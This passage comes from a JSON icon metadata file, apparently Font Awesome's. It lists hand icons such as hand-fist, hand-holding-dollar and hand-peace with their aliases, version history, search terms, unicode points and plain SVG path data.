        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M288 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V240c0 8.8-7.2 16-16 16s-16-7.2-16-16V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V336c0 1.5 0 3.1 .1 4.6L67.6 283c-16-15.2-41.3-14.6-56.6 1.4s-14.6 41.3 1.4 56.6L124.8 448c43.1 41.1 100.4 64 160 64H304c97.2 0 176-78.8 176-176V128c0-17.7-14.3-32-32-32s-32 14.3-32 32V240c0 8.8-7.2 16-16 16s-16-7.2-16-16V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V240c0 8.8-7.2 16-16 16s-16-7.2-16-16V32zM240 336a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zm80 16a16 16 0 1 1 0 32 16 16 0 1 1 0-32zm48-16a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zm-16 80a16 16 0 1 1 0 32 16 16 0 1 1 0-32zM240 432a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zm-48-48a16 16 0 1 1 0 32 16 16 0 1 1 0-32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M288 32c0-17.7-14.3-32-32-32s-32 14.3-32 32V240c0 8.8-7.2 16-16 16s-16-7.2-16-16V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V336c0 1.5 0 3.1 .1 4.6L67.6 283c-16-15.2-41.3-14.6-56.6 1.4s-14.6 41.3 1.4 56.6L124.8 448c43.1 41.1 100.4 64 160 64H304c97.2 0 176-78.8 176-176V128c0-17.7-14.3-32-32-32s-32 14.3-32 32V240c0 8.8-7.2 16-16 16s-16-7.2-16-16V64c0-17.7-14.3-32-32-32s-32 14.3-32 32V240c0 8.8-7.2 16-16 16s-16-7.2-16-16V32zM240 336a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zm80 16a16 16 0 1 1 0 32 16 16 0 1 1 0-32zm48-16a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zm-16 80a16 16 0 1 1 0 32 16 16 0 1 1 0-32zM240 432a16 16 0 1 1 32 0 16 16 0 1 1 -32 0zm-48-48a16 16 0 1 1 0 32 16 16 0 1 1 0-32z"
      }
    },
    "free": ["solid"]
  },
  "hand-fist": {
    "aliases": {
      "names": ["fist-raised"],
      "unicodes": {
        "composite": ["270a"],
        "secondary": ["10f6de"]
      }
    },
    "changes": ["5.4.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Dungeons & Dragons",
        "clenched",
        "d&d",
        "dnd",
        "fantasy",
        "fist",
        "hand",
        "ki",
        "monk",
        "punch",
        "raised fist",
        "resist",
        "strength",
        "unarmed combat"
      ]
    },
    "styles": ["solid"],
    "unicode": "f6de",
    "label": "Hand Fist",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M192 0c17.7 0 32 14.3 32 32V144H160V32c0-17.7 14.3-32 32-32zM64 64c0-17.7 14.3-32 32-32s32 14.3 32 32v80H64V64zm192 0c0-17.7 14.3-32 32-32s32 14.3 32 32v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V64zm96 64c0-17.7 14.3-32 32-32s32 14.3 32 32v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V128zm-96 88l0-.6c9.4 5.4 20.3 8.6 32 8.6c13.2 0 25.4-4 35.6-10.8c8.7 24.9 32.5 42.8 60.4 42.8c11.7 0 22.6-3.1 32-8.6V256c0 52.3-25.1 98.8-64 128v96c0 17.7-14.3 32-32 32H160c-17.7 0-32-14.3-32-32V401.6c-17.3-7.9-33.2-18.8-46.9-32.5L69.5 357.5C45.5 333.5 32 300.9 32 267V240c0-35.3 28.7-64 64-64h88c22.1 0 40 17.9 40 40s-17.9 40-40 40H128c-8.8 0-16 7.2-16 16s7.2 16 16 16h56c39.8 0 72-32.2 72-72z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M192 0c17.7 0 32 14.3 32 32V144H160V32c0-17.7 14.3-32 32-32zM64 64c0-17.7 14.3-32 32-32s32 14.3 32 32v80H64V64zm192 0c0-17.7 14.3-32 32-32s32 14.3 32 32v96c0 17.7-14.3 32-32 32s-32-14.3-32-32V64zm96 64c0-17.7 14.3-32 32-32s32 14.3 32 32v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V128zm-96 88l0-.6c9.4 5.4 20.3 8.6 32 8.6c13.2 0 25.4-4 35.6-10.8c8.7 24.9 32.5 42.8 60.4 42.8c11.7 0 22.6-3.1 32-8.6V256c0 52.3-25.1 98.8-64 128v96c0 17.7-14.3 32-32 32H160c-17.7 0-32-14.3-32-32V401.6c-17.3-7.9-33.2-18.8-46.9-32.5L69.5 357.5C45.5 333.5 32 300.9 32 267V240c0-35.3 28.7-64 64-64h88c22.1 0 40 17.9 40 40s-17.9 40-40 40H128c-8.8 0-16 7.2-16 16s7.2 16 16 16h56c39.8 0 72-32.2 72-72z"
      }
    },
    "free": ["solid"]
  },
  "hand-holding": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f4bd"]
      }
    },
    "changes": ["5.0.9", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["carry", "lift"]
    },
    "styles": ["solid"],
    "unicode": "f4bd",
    "label": "Hand Holding",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M559.7 392.2c17.8-13.1 21.6-38.1 8.5-55.9s-38.1-21.6-55.9-8.5L392.6 416H272c-8.8 0-16-7.2-16-16s7.2-16 16-16h16 64c17.7 0 32-14.3 32-32s-14.3-32-32-32H288 272 193.7c-29.1 0-57.3 9.9-80 28L68.8 384H32c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32H192 352.5c29 0 57.3-9.3 80.7-26.5l126.6-93.3zm-366.1-8.3a.5 .5 0 1 1 -.9 .1 .5 .5 0 1 1 .9-.1z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M559.7 392.2c17.8-13.1 21.6-38.1 8.5-55.9s-38.1-21.6-55.9-8.5L392.6 416H272c-8.8 0-16-7.2-16-16s7.2-16 16-16h16 64c17.7 0 32-14.3 32-32s-14.3-32-32-32H288 272 193.7c-29.1 0-57.3 9.9-80 28L68.8 384H32c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32H192 352.5c29 0 57.3-9.3 80.7-26.5l126.6-93.3zm-366.1-8.3a.5 .5 0 1 1 -.9 .1 .5 .5 0 1 1 .9-.1z"
      }
    },
    "free": ["solid"]
  },
  "hand-holding-dollar": {
    "aliases": {
      "names": ["hand-holding-usd"],
      "unicodes": {
        "secondary": ["10f4c0"]
      }
    },
    "changes": [
      "5.0.9",
      "5.11.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "$",
        "carry",
        "dollar sign",
        "donation",
        "giving",
        "lift",
        "money",
        "price"
      ]
    },
    "styles": ["solid"],
    "unicode": "f4c0",
    "label": "Hand Holding Dollar",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M312 24V34.5c6.4 1.2 12.6 2.7 18.2 4.2c12.8 3.4 20.4 16.6 17 29.4s-16.6 20.4-29.4 17c-10.9-2.9-21.1-4.9-30.2-5c-7.3-.1-14.7 1.7-19.4 4.4c-2.1 1.3-3.1 2.4-3.5 3c-.3 .5-.7 1.2-.7 2.8c0 .3 0 .5 0 .6c.2 .2 .9 1.2 3.3 2.6c5.8 3.5 14.4 6.2 27.4 10.1l.9 .3c11.1 3.3 25.9 7.8 37.9 15.3c13.7 8.6 26.1 22.9 26.4 44.9c.3 22.5-11.4 38.9-26.7 48.5c-6.7 4.1-13.9 7-21.3 8.8V232c0 13.3-10.7 24-24 24s-24-10.7-24-24V220.6c-9.5-2.3-18.2-5.3-25.6-7.8c-2.1-.7-4.1-1.4-6-2c-12.6-4.2-19.4-17.8-15.2-30.4s17.8-19.4 30.4-15.2c2.6 .9 5 1.7 7.3 2.5c13.6 4.6 23.4 7.9 33.9 8.3c8 .3 15.1-1.6 19.2-4.1c1.9-1.2 2.8-2.2 3.2-2.9c.4-.6 .9-1.8 .8-4.1l0-.2c0-1 0-2.1-4-4.6c-5.7-3.6-14.3-6.4-27.1-10.3l-1.9-.6c-10.8-3.2-25-7.5-36.4-14.4c-13.5-8.1-26.5-22-26.6-44.1c-.1-22.9 12.9-38.6 27.7-47.4c6.4-3.8 13.3-6.4 20.2-8.2V24c0-13.3 10.7-24 24-24s24 10.7 24 24zM568.2 336.3c13.1 17.8 9.3 42.8-8.5 55.9L433.1 485.5c-23.4 17.2-51.6 26.5-80.7 26.5H192 32c-17.7 0-32-14.3-32-32V416c0-17.7 14.3-32 32-32H68.8l44.9-36c22.7-18.2 50.9-28 80-28H272h16 64c17.7 0 32 14.3 32 32s-14.3 32-32 32H288 272c-8.8 0-16 7.2-16 16s7.2 16 16 16H392.6l119.7-88.2c17.8-13.1 42.8-9.3 55.9 8.5zM193.6 384l0 0-.9 0c.3 0 .6 0 .9 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M312 24V34.5c6.4 1.2 12.6 2.7 18.2 4.2c12.8 3.4 20.4 16.6 17 29.4s-16.6 20.4-29.4 17c-10.9-2.9-21.1-4.9-30.2-5c-7.3-.1-14.7 1.7-19.4 4.4c-2.1 1.3-3.1 2.4-3.5 3c-.3 .5-.7 1.2-.7 2.8c0 .3 0 .5 0 .6c.2 .2 .9 1.2 3.3 2.6c5.8 3.5 14.4 6.2 27.4 10.1l.9 .3c11.1 3.3 25.9 7.8 37.9 15.3c13.7 8.6 26.1 22.9 26.4 44.9c.3 22.5-11.4 38.9-26.7 48.5c-6.7 4.1-13.9 7-21.3 8.8V232c0 13.3-10.7 24-24 24s-24-10.7-24-24V220.6c-9.5-2.3-18.2-5.3-25.6-7.8c-2.1-.7-4.1-1.4-6-2c-12.6-4.2-19.4-17.8-15.2-30.4s17.8-19.4 30.4-15.2c2.6 .9 5 1.7 7.3 2.5c13.6 4.6 23.4 7.9 33.9 8.3c8 .3 15.1-1.6 19.2-4.1c1.9-1.2 2.8-2.2 3.2-2.9c.4-.6 .9-1.8 .8-4.1l0-.2c0-1 0-2.1-4-4.6c-5.7-3.6-14.3-6.4-27.1-10.3l-1.9-.6c-10.8-3.2-25-7.5-36.4-14.4c-13.5-8.1-26.5-22-26.6-44.1c-.1-22.9 12.9-38.6 27.7-47.4c6.4-3.8 13.3-6.4 20.2-8.2V24c0-13.3 10.7-24 24-24s24 10.7 24 24zM568.2 336.3c13.1 17.8 9.3 42.8-8.5 55.9L433.1 485.5c-23.4 17.2-51.6 26.5-80.7 26.5H192 32c-17.7 0-32-14.3-32-32V416c0-17.7 14.3-32 32-32H68.8l44.9-36c22.7-18.2 50.9-28 80-28H272h16 64c17.7 0 32 14.3 32 32s-14.3 32-32 32H288 272c-8.8 0-16 7.2-16 16s7.2 16 16 16H392.6l119.7-88.2c17.8-13.1 42.8-9.3 55.9 8.5zM193.6 384l0 0-.9 0c.3 0 .6 0 .9 0z"
      }
    },
    "free": ["solid"]
  },
  "hand-holding-droplet": {
    "aliases": {
      "names": ["hand-holding-water"],
      "unicodes": {
        "secondary": ["10f4c1"]
      }
    },
    "changes": [
      "5.0.9",
      "5.13.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": ["carry", "covid-19", "drought", "grow", "lift", "sanitation"]
    },
    "styles": ["solid"],
    "unicode": "f4c1",
    "label": "Hand Holding Droplet",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M275.5 6.6C278.3 2.5 283 0 288 0s9.7 2.5 12.5 6.6L366.8 103C378 119.3 384 138.6 384 158.3V160c0 53-43 96-96 96s-96-43-96-96v-1.7c0-19.8 6-39 17.2-55.3L275.5 6.6zM568.2 336.3c13.1 17.8 9.3 42.8-8.5 55.9L433.1 485.5c-23.4 17.2-51.6 26.5-80.7 26.5H192 32c-17.7 0-32-14.3-32-32V416c0-17.7 14.3-32 32-32H68.8l44.9-36c22.7-18.2 50.9-28 80-28H272h16 64c17.7 0 32 14.3 32 32s-14.3 32-32 32H288 272c-8.8 0-16 7.2-16 16s7.2 16 16 16H392.6l119.7-88.2c17.8-13.1 42.8-9.3 55.9 8.5zM193.6 384l0 0-.9 0c.3 0 .6 0 .9 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M275.5 6.6C278.3 2.5 283 0 288 0s9.7 2.5 12.5 6.6L366.8 103C378 119.3 384 138.6 384 158.3V160c0 53-43 96-96 96s-96-43-96-96v-1.7c0-19.8 6-39 17.2-55.3L275.5 6.6zM568.2 336.3c13.1 17.8 9.3 42.8-8.5 55.9L433.1 485.5c-23.4 17.2-51.6 26.5-80.7 26.5H192 32c-17.7 0-32-14.3-32-32V416c0-17.7 14.3-32 32-32H68.8l44.9-36c22.7-18.2 50.9-28 80-28H272h16 64c17.7 0 32 14.3 32 32s-14.3 32-32 32H288 272c-8.8 0-16 7.2-16 16s7.2 16 16 16H392.6l119.7-88.2c17.8-13.1 42.8-9.3 55.9 8.5zM193.6 384l0 0-.9 0c.3 0 .6 0 .9 0z"
      }
    },
    "free": ["solid"]
  },
  "hand-holding-hand": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0", "6.4.1"],
    "ligatures": [],
    "search": {
      "terms": ["care", "give", "help", "hold", "protect"]
    },
    "styles": ["solid"],
    "unicode": "e4f7",
    "label": "Hand Holding Hand",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M7.8 207.7c-13.1-17.8-9.3-42.8 8.5-55.9L142.9 58.5C166.2 41.3 194.5 32 223.5 32H384 544c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32H507.2l-44.9 36c-22.7 18.2-50.9 28-80 28H304 288 224c-17.7 0-32-14.3-32-32s14.3-32 32-32h64 16c8.8 0 16-7.2 16-16s-7.2-16-16-16H183.4L63.7 216.2c-17.8 13.1-42.8 9.3-55.9-8.5zM382.4 160l0 0 .9 0c-.3 0-.6 0-.9 0zM568.2 304.3c13.1 17.8 9.3 42.8-8.5 55.9L433.1 453.5c-23.4 17.2-51.6 26.5-80.7 26.5H192 32c-17.7 0-32-14.3-32-32V384c0-17.7 14.3-32 32-32H68.8l44.9-36c22.7-18.2 50.9-28 80-28H272h16 64c17.7 0 32 14.3 32 32s-14.3 32-32 32H288 272c-8.8 0-16 7.2-16 16s7.2 16 16 16H392.6l119.7-88.2c17.8-13.1 42.8-9.3 55.9 8.5zM193.6 352l0 0-.9 0c.3 0 .6 0 .9 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M7.8 207.7c-13.1-17.8-9.3-42.8 8.5-55.9L142.9 58.5C166.2 41.3 194.5 32 223.5 32H384 544c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32H507.2l-44.9 36c-22.7 18.2-50.9 28-80 28H304 288 224c-17.7 0-32-14.3-32-32s14.3-32 32-32h64 16c8.8 0 16-7.2 16-16s-7.2-16-16-16H183.4L63.7 216.2c-17.8 13.1-42.8 9.3-55.9-8.5zM382.4 160l0 0 .9 0c-.3 0-.6 0-.9 0zM568.2 304.3c13.1 17.8 9.3 42.8-8.5 55.9L433.1 453.5c-23.4 17.2-51.6 26.5-80.7 26.5H192 32c-17.7 0-32-14.3-32-32V384c0-17.7 14.3-32 32-32H68.8l44.9-36c22.7-18.2 50.9-28 80-28H272h16 64c17.7 0 32 14.3 32 32s-14.3 32-32 32H288 272c-8.8 0-16 7.2-16 16s7.2 16 16 16H392.6l119.7-88.2c17.8-13.1 42.8-9.3 55.9 8.5zM193.6 352l0 0-.9 0c.3 0 .6 0 .9 0z"
      }
    },
    "free": ["solid"]
  },
  "hand-holding-heart": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f4be"]
      }
    },
    "changes": ["5.0.9", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0", "6.4.1"],
    "ligatures": [],
    "search": {
      "terms": ["carry", "charity", "gift", "lift", "package"]
    },
    "styles": ["solid"],
    "unicode": "f4be",
    "label": "Hand Holding Heart",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766194,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M163.9 136.9c-29.4-29.8-29.4-78.2 0-108s77-29.8 106.4 0l17.7 18 17.7-18c29.4-29.8 77-29.8 106.4 0s29.4 78.2 0 108L310.5 240.1c-6.2 6.3-14.3 9.4-22.5 9.4s-16.3-3.1-22.5-9.4L163.9 136.9zM568.2 336.3c13.1 17.8 9.3 42.8-8.5 55.9L433.1 485.5c-23.4 17.2-51.6 26.5-80.7 26.5H192 32c-17.7 0-32-14.3-32-32V416c0-17.7 14.3-32 32-32H68.8l44.9-36c22.7-18.2 50.9-28 80-28H272h16 64c17.7 0 32 14.3 32 32s-14.3 32-32 32H288 272c-8.8 0-16 7.2-16 16s7.2 16 16 16H392.6l119.7-88.2c17.8-13.1 42.8-9.3 55.9 8.5zM193.6 384l0 0-.9 0c.3 0 .6 0 .9 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M163.9 136.9c-29.4-29.8-29.4-78.2 0-108s77-29.8 106.4 0l17.7 18 17.7-18c29.4-29.8 77-29.8 106.4 0s29.4 78.2 0 108L310.5 240.1c-6.2 6.3-14.3 9.4-22.5 9.4s-16.3-3.1-22.5-9.4L163.9 136.9zM568.2 336.3c13.1 17.8 9.3 42.8-8.5 55.9L433.1 485.5c-23.4 17.2-51.6 26.5-80.7 26.5H192 32c-17.7 0-32-14.3-32-32V416c0-17.7 14.3-32 32-32H68.8l44.9-36c22.7-18.2 50.9-28 80-28H272h16 64c17.7 0 32 14.3 32 32s-14.3 32-32 32H288 272c-8.8 0-16 7.2-16 16s7.2 16 16 16H392.6l119.7-88.2c17.8-13.1 42.8-9.3 55.9 8.5zM193.6 384l0 0-.9 0c.3 0 .6 0 .9 0z"
      }
    },
    "free": ["solid"]
  },
  "hand-holding-medical": {
    "aliases": {
      "unicodes": {
        "secondary": ["10e05c"]
      }
    },
    "changes": [
      "5.13.0",
      "5.14.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0",
      "6.4.1"
    ],
    "ligatures": [],
    "search": {
      "terms": ["care", "covid-19", "donate", "help"]
    },
    "styles": ["solid"],
    "unicode": "e05c",
    "label": "Hand Holding Medical",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M224 24V80H168c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24h56v56c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V176h56c13.3 0 24-10.7 24-24V104c0-13.3-10.7-24-24-24H320V24c0-13.3-10.7-24-24-24H248c-13.3 0-24 10.7-24 24zM559.7 392.2c17.8-13.1 21.6-38.1 8.5-55.9s-38.1-21.6-55.9-8.5L392.6 416H272c-8.8 0-16-7.2-16-16s7.2-16 16-16h16 64c17.7 0 32-14.3 32-32s-14.3-32-32-32H288 272 193.7c-29.1 0-57.3 9.9-80 28L68.8 384H32c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32H192 352.5c29 0 57.3-9.3 80.7-26.5l126.6-93.3zm-367-8.2l.9 0 0 0c-.3 0-.6 0-.9 0z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M224 24V80H168c-13.3 0-24 10.7-24 24v48c0 13.3 10.7 24 24 24h56v56c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V176h56c13.3 0 24-10.7 24-24V104c0-13.3-10.7-24-24-24H320V24c0-13.3-10.7-24-24-24H248c-13.3 0-24 10.7-24 24zM559.7 392.2c17.8-13.1 21.6-38.1 8.5-55.9s-38.1-21.6-55.9-8.5L392.6 416H272c-8.8 0-16-7.2-16-16s7.2-16 16-16h16 64c17.7 0 32-14.3 32-32s-14.3-32-32-32H288 272 193.7c-29.1 0-57.3 9.9-80 28L68.8 384H32c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32H192 352.5c29 0 57.3-9.3 80.7-26.5l126.6-93.3zm-367-8.2l.9 0 0 0c-.3 0-.6 0-.9 0z"
      }
    },
    "free": ["solid"]
  },
  "hand-lizard": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f258"]
      }
    },
    "changes": ["4.4.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["game", "roshambo"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f258",
    "label": "Hand Lizard",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 112C0 85.5 21.5 64 48 64H160h80 46.5c36.8 0 71.2 18 92.1 48.2l113.5 164c13 18.7 19.9 41 19.9 63.8v12 16 48c0 17.7-14.3 32-32 32H384c-17.7 0-32-14.3-32-32V402.2L273.9 352H240 160 112c-26.5 0-48-21.5-48-48s21.5-48 48-48h48 80c26.5 0 48-21.5 48-48s-21.5-48-48-48H160 48c-26.5 0-48-21.5-48-48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 112C0 85.5 21.5 64 48 64H160h80 46.5c36.8 0 71.2 18 92.1 48.2l113.5 164c13 18.7 19.9 41 19.9 63.8v12 16 48c0 17.7-14.3 32-32 32H384c-17.7 0-32-14.3-32-32V402.2L273.9 352H240 160 112c-26.5 0-48-21.5-48-48s21.5-48 48-48h48 80c26.5 0 48-21.5 48-48s-21.5-48-48-48H160 48c-26.5 0-48-21.5-48-48z"
      },
      "regular": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M72 112c-13.3 0-24 10.7-24 24s10.7 24 24 24H240c35.3 0 64 28.7 64 64s-28.7 64-64 64H136c-13.3 0-24 10.7-24 24s10.7 24 24 24H288c4.5 0 8.9 1.3 12.7 3.6l64 40c7 4.4 11.3 12.1 11.3 20.4v24c0 13.3-10.7 24-24 24s-24-10.7-24-24V413.3L281.1 384H136c-39.8 0-72-32.2-72-72s32.2-72 72-72H240c8.8 0 16-7.2 16-16s-7.2-16-16-16H72c-39.8 0-72-32.2-72-72S32.2 64 72 64H281.6c46.7 0 90.9 21.5 119.7 58.3l78.4 100.1c20.9 26.7 32.3 59.7 32.3 93.7V424c0 13.3-10.7 24-24 24s-24-10.7-24-24V316.1c0-23.2-7.8-45.8-22.1-64.1L363.5 151.9c-19.7-25.2-49.9-39.9-81.9-39.9H72z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M72 112c-13.3 0-24 10.7-24 24s10.7 24 24 24H240c35.3 0 64 28.7 64 64s-28.7 64-64 64H136c-13.3 0-24 10.7-24 24s10.7 24 24 24H288c4.5 0 8.9 1.3 12.7 3.6l64 40c7 4.4 11.3 12.1 11.3 20.4v24c0 13.3-10.7 24-24 24s-24-10.7-24-24V413.3L281.1 384H136c-39.8 0-72-32.2-72-72s32.2-72 72-72H240c8.8 0 16-7.2 16-16s-7.2-16-16-16H72c-39.8 0-72-32.2-72-72S32.2 64 72 64H281.6c46.7 0 90.9 21.5 119.7 58.3l78.4 100.1c20.9 26.7 32.3 59.7 32.3 93.7V424c0 13.3-10.7 24-24 24s-24-10.7-24-24V316.1c0-23.2-7.8-45.8-22.1-64.1L363.5 151.9c-19.7-25.2-49.9-39.9-81.9-39.9H72z"
      }
    },
    "free": ["regular", "solid"]
  },
  "hand-middle-finger": {
    "aliases": {
      "unicodes": {
        "composite": ["1f595"],
        "secondary": ["10f806"]
      }
    },
    "changes": [
      "5.7.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "finger",
        "flip the bird",
        "gesture",
        "hand",
        "hate",
        "middle finger",
        "rude"
      ]
    },
    "styles": ["solid"],
    "unicode": "f806",
    "label": "Hand Middle Finger",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M232 0c-22.1 0-40 17.9-40 40V204.2c-8.5-7.6-19.7-12.2-32-12.2c-26.5 0-48 21.5-48 48v7 73c0 8.8-7.2 16-16 16s-16-7.2-16-16V264.3c-2 1.4-3.9 3-5.8 4.5L55 284.8C40.4 297 32 315 32 334V372c0 38 16.9 74 46.1 98.3l5.4 4.5c28.8 24 65 37.1 102.4 37.1H304c70.7 0 128-57.3 128-128V320 288c0-26.5-21.5-48-48-48c-12.4 0-23.6 4.7-32.1 12.3C350 227.5 329.3 208 304 208c-12.3 0-23.5 4.6-32 12.2V40c0-22.1-17.9-40-40-40z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M232 0c-22.1 0-40 17.9-40 40V204.2c-8.5-7.6-19.7-12.2-32-12.2c-26.5 0-48 21.5-48 48v7 73c0 8.8-7.2 16-16 16s-16-7.2-16-16V264.3c-2 1.4-3.9 3-5.8 4.5L55 284.8C40.4 297 32 315 32 334V372c0 38 16.9 74 46.1 98.3l5.4 4.5c28.8 24 65 37.1 102.4 37.1H304c70.7 0 128-57.3 128-128V320 288c0-26.5-21.5-48-48-48c-12.4 0-23.6 4.7-32.1 12.3C350 227.5 329.3 208 304 208c-12.3 0-23.5 4.6-32 12.2V40c0-22.1-17.9-40-40-40z"
      }
    },
    "free": ["solid"]
  },
  "hand-peace": {
    "aliases": {
      "unicodes": {
        "composite": ["270c"],
        "secondary": ["10f25b"]
      }
    },
    "changes": ["4.4.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["hand", "rest", "truce", "v", "victory", "victory hand"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f25b",
    "label": "Hand Peace",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766193,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M224 0c17.7 0 32 14.3 32 32V240H192V32c0-17.7 14.3-32 32-32zm96 160c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V192c0-17.7 14.3-32 32-32zm64 64c0-17.7 14.3-32 32-32s32 14.3 32 32v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V224zM93.3 51.2L175.9 240H106.1L34.7 76.8C27.6 60.6 35 41.8 51.2 34.7s35.1 .3 42.1 16.5zm27 221.3l-.2-.5h69.9H216c22.1 0 40 17.9 40 40s-17.9 40-40 40H160c-8.8 0-16 7.2-16 16s7.2 16 16 16h56c39.8 0 72-32.2 72-72l0-.6c9.4 5.4 20.3 8.6 32 8.6c13.2 0 25.4-4 35.6-10.8c8.7 24.9 32.5 42.8 60.4 42.8c11.7 0 22.6-3.1 32-8.6V352c0 88.4-71.6 160-160 160H226.3c-42.4 0-83.1-16.9-113.1-46.9l-11.6-11.6C77.5 429.5 64 396.9 64 363V336c0-32.7 24.6-59.7 56.3-63.5z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M224 0c17.7 0 32 14.3 32 32V240H192V32c0-17.7 14.3-32 32-32zm96 160c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V192c0-17.7 14.3-32 32-32zm64 64c0-17.7 14.3-32 32-32s32 14.3 32 32v64c0 17.7-14.3 32-32 32s-32-14.3-32-32V224zM93.3 51.2L175.9 240H106.1L34.7 76.8C27.6 60.6 35 41.8 51.2 34.7s35.1 .3 42.1 16.5zm27 221.3l-.2-.5h69.9H216c22.1 0 40 17.9 40 40s-17.9 40-40 40H160c-8.8 0-16 7.2-16 16s7.2 16 16 16h56c39.8 0 72-32.2 72-72l0-.6c9.4 5.4 20.3 8.6 32 8.6c13.2 0 25.4-4 35.6-10.8c8.7 24.9 32.5 42.8 60.4 42.8c11.7 0 22.6-3.1 32-8.6V352c0 88.4-71.6 160-160 160H226.3c-42.4 0-83.1-16.9-113.1-46.9l-11.6-11.6C77.5 429.5 64 396.9 64 363V336c0-32.7 24.6-59.7 56.3-63.5z"
      },
      "regular": {
        "last_modified": 1684766193,
